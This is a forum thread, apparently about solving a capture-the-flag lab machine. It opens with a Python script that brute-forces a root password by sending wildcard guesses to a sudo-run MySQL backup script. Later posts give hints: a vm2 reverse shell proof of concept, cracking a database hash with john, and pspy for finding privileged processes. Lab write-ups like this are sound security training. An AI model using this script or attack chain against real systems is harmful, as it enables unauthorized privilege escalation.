[rwwwshell]

import string
import subprocess

all_characters_and_numbers = list(string.ascii_letters + string.digits)

password = ""
found = False

while not found:
    for character in all_characters_and_numbers:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True

[cyxon]

Is the hash in /var/www/contact/ useful?

[McJhonkler]

Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work )

[xts]

Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work )

i got mysql password but how i use it for root?

[zx01]

Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work )

i got mysql password but how i use it for root?

su - 
and paste your passwd

[intersteller2038]

Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work )

i got mysql password but how i use it for root?

Where did you find the pass?

[0BL1V10N]

Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work )

i got mysql password but how i use it for root?

Where did you find the pass?

You can bruteforce the password, just use the script that user rwwwshell posted above

[intersteller2038]

Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work )

i got mysql password but how i use it for root?

Where did you find the pass?

You can bruteforce the password, just use the script that user rwwwshell posted above

Got it, but is there any other way of solving the machine?

[luxyfoxy]

lets goooooo 

hopefully the box starts working off to a rough start
its a node.js box

dont really enjoy stuff but here goes nothing

[0BL1V10N]

Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work )

i got mysql password but how i use it for root?

Where did you find the pass?

You can bruteforce the password, just use the script that user rwwwshell posted above

Got it, but is there any other way of solving the machine?

Yes, you can run the sudo command and then pspy and you will find something interesting